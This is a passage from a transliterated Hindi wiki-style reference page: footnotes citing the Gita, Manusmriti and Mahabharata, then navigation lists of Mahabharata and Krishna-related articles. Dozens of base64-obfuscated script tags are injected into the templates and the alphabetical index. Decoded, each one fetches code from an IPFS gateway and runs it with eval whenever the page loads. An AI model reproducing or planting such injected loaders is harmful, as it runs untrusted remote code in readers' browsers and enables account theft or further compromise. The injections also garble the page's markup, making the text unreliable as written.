  51. ↑ manusmriti. 7.213
  52. ↑ raghuvansh, 2.57
  53. ↑ mrichchhakatik, 10.27
  54. ↑ mahabharat, 1.100 tatha 131; shaanti parv, 342
  55. ↑ mahabharat, 1.299.38
  56. ↑ gita, 2.37
  57. ↑ gita, 3.35
  58. ↑ samarth ramadas krit dasabodh, 12.10.19; 18.10.25
  59. ↑ gita, 2.34
  60. ↑ taittiriyopanishad, 1.11.1 aur 2
  61. ↑ mahabharat vanaparv,. adhyay 213
  62. ↑ manusmriti, 2.145
  63. ↑ mahabharat vanaparv, 119.14
  64. ↑ mahabharat, shaantiparv, 295
  65. ↑ manusmriti, 8.335; mahabharat, shaantiparv, 121.60
  66. ↑ mahabharat. vanaparv, 107; ramayan. 1.38 mean
  67. ↑ manusmriti, 2.156 aur mahabharat, 1.133.11; shalyaparv. 51.47
  68. ↑ ‘dhammapad’ granth ka aangrezi anuvad ‘prachyadharm–pustakamala’ (Sacred Books of the East Vol. X.) mean kiya gaya hai aur chullavagg ka anuvad bhi usi mala ke Vol. XVII aur XX mean prakashit hua hai. dhammapad ka pali shlok yah haiah–

    n ten thero hoti yenass palitan siro.
    paripakko vayo tass moghajinno ti vuchchati..

    ‘ther’ shabd buddh bhikshuoan ke lie prasukt hua hai. yah sanskrit shabd ‘sthavir’ ka apabhransh hai.

  69. ↑ dhammapad. 290
  70. ↑ chullavasa, 6.13.1
  71. ↑ mahabharat, adi parv, 142.52, 53; udyog parv, 179.24; shanti parv, 57.7; 140.48
  72. ↑ ramayan, 2.21.13
  73. ↑ mahabharat, shanti parv, 55.19
  74. ↑ taittiriyopanishad. 1.11.2
  75. ↑ manusmriti. 8.14–16
  76. ↑ manusmriti, 7.8 aur mahabharat, shaantiparv, 68.40
  77. ↑ manusmriti, 7.41 aur 8.128; mahabharat, shaantiparv, 59.92–100 tatha ashvamedhik parv, 4
  78. ↑ manusmriti, 10.93
  79. ↑ gita, 19.21; mahabharat, udyog parv, 32.70
  80. ↑ gita. 7.11
  81. ↑ manusmriti, 4.179
  82. ↑ manusmriti, 5.59
  83. ↑ bhagavat puran11.5.11
  84. ↑ manusmriti, 12.89; bhagavat puran, 11.10.1 aur 7.15.47
  85. ↑ kiratakavy1.33
  86. ↑ mahabharat, udyog parv, 132.33
  87. ↑ nitishastr, 93
  88. ↑ gita. 17.20
  89. ↑ manusmriti, 1.85; mahabharat, shaantiparv. 2.59.8
  90. ↑ mahabharat, adiparv. 122; aur 79
  91. ↑ mahabharat, shaantiparv, 259.17, 18
  92. ↑ yajnavalkyasmriti 3.41; chhandogy upanishad, 1.10
  93. ↑ mahabharat, bhishm parv, 43.35
  94. ↑ manusmriti. 409
  95. ↑ mahabharat. 10.70
  96. ↑ mahabharat, van parv, 208.2
  97. ↑ mahabharat, shanti parv, 291.37
  98. ↑ gita, 19.24

sanbandhit lekh

[[Template:gita2<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|dekhean]] • [[|varta]] • [{{fullurl:Template:gita2<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}badalean]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
gita

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[Template:mahabharat<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|dekhean]] • [[|varta]] • [{{fullurl:Template:mahabharat<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}badalean]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
mahabharat
mahabharat ke parv
mahabharat ke charitr
kuru · achal · adhirath · abhimanyu · amba · niyatayu · ambalika · ambika · arjun · ashvatthama · ashvinikumar · iravat · uttara · uloopi · ekalavy · kank · karn · kichak · kunti · kripachary · krishna · kaurav · khatooshyamaji · gaandhari · granthik · anadhrishy · suhast · purujit · upakichak · shakradev · vaikarttan · anoodar · ghatotkach · chitrarath gandharv · chitraangada · sad:suvak · vichitraviry · janamejay · jayadrath · jarasandh · lakshman · suvarcha · tantipal · suvarcha · dhrishtaketu · duryodhan · karenumati · chitraban · shatachandr · sutasom · chitr · dushasan · drupad · lakshmana · subahu · sampati · krath · madrasuta · shrutakarma · kakshasen · nishangi · durdharsh · kimar · ugrasen · chitr · vairam · shrutakarma · somakirtti · chitr · sulochan · kashik · krath · arishtanemi · chitr · kaliang · chitrakundal · dronachary · suvarma · draupadi · dushyant · satyasandh · radha · prativiandhy · arjav · ghatooka · devapi · krishna · shatayu · marut · satyajit · virabahu · kshatradharma · kshatradev · bhumanyu · muanjaketu · durvishah · upachitr · senani · kuantibhoj · bahashi · gauravahan · shrutakirti · dhritarashtr · pataki · kapiketu · vyaghradatt · dhrishtadyumn · satyadhriti · nakul · sunabh · akrosh · panditak · sushen · nand · chitrayudh · charmavan · alayudh · bhanudatt · satyadhriti · parikshit · paandav · chitrayudh · kamalaksh · vrishabh · karakarsh · shatanik · pandu · vriandarak · vriandarak · bhagadatt · dushpradharshan · kampan · indrasen · chitrasen · chitrasen · chitrasen · nagadatt · bakasur · mahabahu · sudeshna · karambhi · indrasen · kavachi · gangadatt · vairat · viand · dhrishtaketu · bhimaveg · amitauja · durmukh · gu dakesh · ugrashrava · barbarik · vrishadhvaj · gudakesh · parth · ballav · subal · bhimabal · dridharathashray · ambashthak · shankh · shal · shvet · chitraangad · shaivy · may danav · charu · durmad · madri · balaki · vyoodhoru · brihannala · bharat · durmarshan · bhim · bhishm · arjun ke nam · dushkarn · chandraketu · oornanabh · chitraang · yaksh · vyaghradatt · yudhishthir · balandhara · lopamudra · vriddhakshatr · vidur · virat · gaandivadhanva · vyas · brihatpal · shakuni · bhishmak · vivitsu · sumitr · shaly · shashabindu · kapidhvaj · puroojit · bahlik · dridhavarma · dridhakshatr · alolup · susharma · shantanu · shalv · shikhandi · shishupal · sanjayhardiky · viprithu · prithu (yadav) · sahadev · satyaki · subhadra · sushen · sairandhri · hidianba · vrishasen · hidimb · ushinar · tantipal · yudhishthir aur charvak · kanin · renuka · pritha · shakuantala · duahshala · yuyutsu · dhaumy · raja nal · damayanti · uttar · kritavarma · vriddhakshatr · hasti · vabhruvahan · kshemavriddhi · ugr · aanjanaparva · bhoorishrava · aangaraparn · aangaraj · ashvaketu · kshemamoorti · kuru vansh · kshemak · kanakadhvaj · kanakaangad · kanakayu · kshemadhanva · dirgharoma · dirghabahu · iravan · dridhahast · dushparajay · dridhasandh · dandadhar · purochan · mauravi · alambush · kiriti
sthan
atavi · avisthal · ekachakra · panchanad · ashv nadi · ashvatirth · ashvinikumar kshetr · ikshula · divyakat · indraprasth · eeshanadhyushit · karush · kuliand · panchayaksha · kurukshetr · anoopak · khaandav van · prachy · dasherak · devaprasth · prativiandhy · dakshinamall · lakshagrih · kuanti janapad · plakshavataran · ahar · hatak · panchagan · nishkut · dvarapal · virat nagar · dasamiy · varan · vashati · vamadev · darshahanagari · hastinapur · plakshaprasravan · ulook · kamyakavan · hansakayan · achyutasthal · shalv rajy · varanavat · darad desh · bairat · vatadhan · kanya tirth · paan dy desh · darv · aanbashth · aparamatsy · aparasek · adity tirth · shatashrriang parvat · shairishak · shuktimati · shoorparak · sahalatavi · lalataksh · shuandik · karahatak · loh · utsavasanket · adhiraj · shatashrang parvat · aantardip · ramahrad · phalakivan · sarvadevi · kanyahrad · karkakhand · kardamil kshetr · akateshvar · chhatravati
mahabharat katha
any
akshauhini · ashvamedh yajn · jayasanhita · krishna aur mahabharat · gaandiv dhanush · gita · chaturangini sena · arjun ke vivah · dvaitavan · jayadrath vadh · sankul yuddh · harivansh puran · bhim hanuman bheant · duryodhan ka garv haran · uttar gita · anudyoot · ashvasen · chakravyooh · gandharv · vasu · kusuanbhi · aanjalika vedh‎ · hallishak · khagam · vidur niti · paandavoan ka svargarohan · avidya · anantavijay · draupadi ka apaman · paandav vanagaman · vyooh rachana · vajr vyooh · krauanch vyooh · ardhachandr vyooh · mandal vyooh · chakrashakat vyooh · magar vyooh · garu d vyooh · aurami vyooh · shringataka vyooh · paandav sena · kaurav sena · arjun ki iandralok yatra · aangavah · vyadh · chitra · aralik · patti · senamukh · atirathi · maharathi · arddharathi · gulm · gan · vahini · chamu · rathi · balahak · rahasya · akshakri da · aangaraj · narayani sena

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[Template:krishna2<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|dekhean]] • [[|varta]] • [{{fullurl:Template:krishna2<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}badalean]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
krishna sambandhit lekh
krishna · krishna ke itihas mean praman · krishna janm ghatanakram · krishna balalila · govardhan lila · rasalila · akroor ki brajayatra · krishna balaram ka mathura agaman · kuvalayapi d vadh · kans vadh · krishna jarasandh yuddh · dvaraka nirman · krishna aur paandav · shishupal vadh · krishna aur mahabharat · krishna ka dvaraka jivan · vrishni sangh · krishna narad sanvad · yaduvansh ka nash · krishna ka aantim samay · krishna sandarbh · krishna vanshavali · krishna ke avatar · krishna chalisa · krishna janmasthan · krishna janmashtami · krishna janmashtami vrat katha · krishna aur mahabharat · kubja dasi · gita · radha · nand · vasudev · devaki · gopi · akroor · aandhak · kans · dvaraka · yashoda · rangeshvar mahadev · rukmini · rukmi · shrikrishna ke nam · yamal aur arjun · gaandhari · anadi pootana-vadh · shakatasur-vadh · charu · svarbhanu · amadhy · madira · nishit · hayashira · arimejay · uddhav · vishakha sakhi · meghapushp · kaliandi · madhusoodan · sangramajit · gad · rrishivas · kratu · kaseruman · makhan katori · vidoorath · yamalarjun moksh · kuvalayapi d · shridama · chanoor · dhenukasur vadh · pralanb asur · satya · saran · mushtik · sudama · vyomasur · aniruddh · madhuha · usha · trinavart · shaivy · ugrasen · kumud · viraja · prishnigarbh · purujit · vriddhasharma · dantavakr · kirti · ashtasakhi · prajapati · jay · lalita · balamukund · tamraparni · sanvarttak · parjany gop · vardhan · devak · upanand · sankarshan · radha ke atthaees nam · vrishabhasur · rapan · keshi · kalayavan · bhadr · shaivy · shridam · revati · shankhachoo d (yaksh) · aj · shankhachoo d (danav) · shaivya · krishnalila · arishtanemi · sudeva · sumitra · kunti · nyagrodh · pootana · kaliy nag · garu d · garg sanhita · charudeshn · shal · sumitra · rritadhama · viand · daruk · solah kala · dhenukasur · shaivy · pradyumn · kalavati · balaram ke nam · sutanu · gop · prapti · kaliyadah · ashtkrishna · saty · kagasur · kukudmi · krishna · sutanu · radha-krishna ka vivah · achyut · krishnaavatar · bhakt sen naee · raghu kevat · vrik · sadan kasaee · sutanu · vatsala · lakshmana · mitravianda · sananda · sunand · bhadra · chitrasen · chiraharan lila · chitra · sumitr · saanb · bal · vanamala · anant · sudeshn · satyak · sushen · abhinand · shipivisht · gopichandan · nishath · charuyasha · nandini · charuvesh · ekashriang · charushrava · nandan · ekakundal · jara · madhu · nishath · sanatan · nyagrodh · subhoo · sumushtik · baddhamushti · kank · rashtrapal · indraketu · iandrayag · ekananga · narayani sena · champakalata · chitra · rangadevi · sudevi · tuangavidya · indulekha · radha-krishna

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>a   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> i   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ee   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> oo   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> e   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ai   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> o   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s   